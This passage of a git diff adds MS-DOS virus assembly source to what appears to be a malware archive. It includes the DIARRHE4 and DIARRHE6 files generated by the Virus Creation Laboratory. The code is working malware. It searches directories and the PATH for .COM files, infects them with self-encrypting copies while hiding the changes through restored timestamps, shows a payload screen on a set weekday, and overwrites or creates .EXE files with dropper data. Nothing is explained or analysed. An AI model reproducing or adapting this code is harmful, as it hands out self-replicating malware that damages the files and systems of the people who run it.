; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 189h + db 0E9h, 0A1h, 000h, 00Ah, 045h, 064h, 064h, 069h + db 065h, 020h, 06Ch, 069h, 076h, 065h, 073h, 020h + db 02Eh, 020h, 02Eh, 020h, 02Eh, 020h, 073h, 06Fh + db 06Dh, 065h, 077h, 068h, 065h, 072h, 065h, 020h + db 069h, 06Eh, 020h, 074h, 069h, 06Dh, 065h, 021h + db 020h, 020h, 057h, 072h, 069h, 074h, 074h, 065h + db 06Eh, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h + db 020h, 063h, 069h, 074h, 079h, 020h, 06Fh, 066h + db 053h, 06Fh, 066h, 069h, 061h, 02Ch, 020h, 042h + db 075h, 06Ch, 067h, 061h, 072h, 069h, 061h, 020h + db 02Eh, 02Eh, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h + db 020h, 00Ah, 00Ah, 00Dh, 0B4h, 040h, 0BBh, 001h + db 000h, 0B9h, 0A0h, 000h, 0BAh, 004h, 001h, 0CDh + db 021h, 0E8h, 000h, 000h, 0B8h, 000h, 04Ch, 0CDh + db 021h, 071h, 0E1h, 0A7h, 086h, 038h, 0B8h, 084h + db 041h, 025h, 0B3h, 0B5h, 04Eh, 00Ah, 05Fh, 0F7h + db 0BCh, 097h, 0D7h, 0DFh, 02Fh, 0E4h, 040h, 0DAh + db 0E2h, 008h, 005h, 0F0h, 005h, 03Ah, 050h, 047h + db 04Bh, 033h, 0E0h, 068h, 076h, 032h, 0B6h, 075h + db 0ADh, 055h, 0CFh, 04Eh, 06Ch, 00Eh, 01Fh, 0E8h + db 0F7h, 0FFh, 081h, 0EBh, 0A3h, 023h, 0B9h, 0C1h + db 011h, 08Bh, 017h, 043h, 043h, 042h, 0A7h, 0E7h + db 067h, 017h, 048h, 0AFh, 03Bh, 021h, 058h, 04Eh + db 0A8h, 031h, 0E7h, 0DBh, 098h, 0E1h, 0B2h, 02Eh + db 05Bh, 069h, 03Ch, 087h, 0B5h, 0A4h, 042h, 09Eh + db 0C7h, 0B7h, 0A7h, 0ACh, 041h, 09Dh, 0E1h, 084h + db 080h, 0DAh, 0EEh, 04Fh, 02Fh, 0C9h, 0F4h, 0E1h + db 0E1h, 0ACh, 08Ah, 06Fh, 0B8h, 055h, 04Bh, 0CDh + db 021h, 03Dh, 031h, 012h, 074h, 076h, 0B8h, 021h + db 0EBh, 0CFh, 05Fh, 0D3h, 0C4h, 03Dh, 02Eh, 050h + db 0C2h, 072h, 00Fh, 0CDh, 04Bh, 0DEh, 036h, 0A1h + db 087h, 076h, 080h, 018h, 015h, 075h, 06Ah, 018h + db 0A3h, 040h, 004h, 04Bh, 000h, 081h, 0CDh, 069h + db 0AFh, 074h, 037h, 01Ah, 08Ch, 094h, 0A9h, 01Fh + db 0A7h, 0A3h, 0B4h, 040h, 02Eh, 08Bh, 01Eh, 07Dh + db 003h, 0B9h, 006h, 000h, 0BAh, 095h, 003h, 0CDh + db 021h, 0B8h, 002h, 042h, 02Eh, 08Bh, 01Eh, 07Dh + db 003h, 031h, 0C9h, 031h, 0D2h, 0CDh, 021h, 046h + db 0B3h, 021h, 0FEh, 0ACh, 068h, 045h, 09Eh, 0EFh + db 006h, 08Ch, 02Ch, 0D8h, 06Bh, 0E0h, 0E7h, 00Fh + db 000h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.diarrhe4.asm b/MSDOS/Virus.MSDOS.Unknown.diarrhe4.asm new file mode 100644 index 00000000..78de4835 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diarrhe4.asm @@ -0,0 +1,424 @@ +; DIARRHE4.ASM -- DIARRHEA 4 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea si,[di + data00] ; SI points to data + mov cx,0107h ; Second argument is 263 + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + +end00: call search_files ; Find and infect a file + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 DB 15,16,24,24,24,24,24,24,25,3,12,'Ŀ Ŀ Ŀ ' + DB 'Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ ',24 + DB 25,3,'',25,2,'Ĵ',25,2,'',25,3,' Ĵ ' + DB ' Ĵ Ĵ ',25,2,'Ĵ ',24,25,3,'' + DB ' ',25,2,'',25,3,' ' + DB ' o',24,25,19,14,'-GG Allin ' + DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24 + DB 24,24,24,24 + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.diarrhe6.asm b/MSDOS/Virus.MSDOS.Unknown.diarrhe6.asm new file mode 100644 index 00000000..fe2d79a8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diarrhe6.asm @@ -0,0 +1,452 @@ +; DIARRHE6.ASM -- DIARRHEA 6 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + lea dx,[di + data00] ; DX points to data + lea si,[di + data01] ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 254h + db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h + db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h + db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch + db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh + db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh + db 073h, 075h, 070h, 070h, 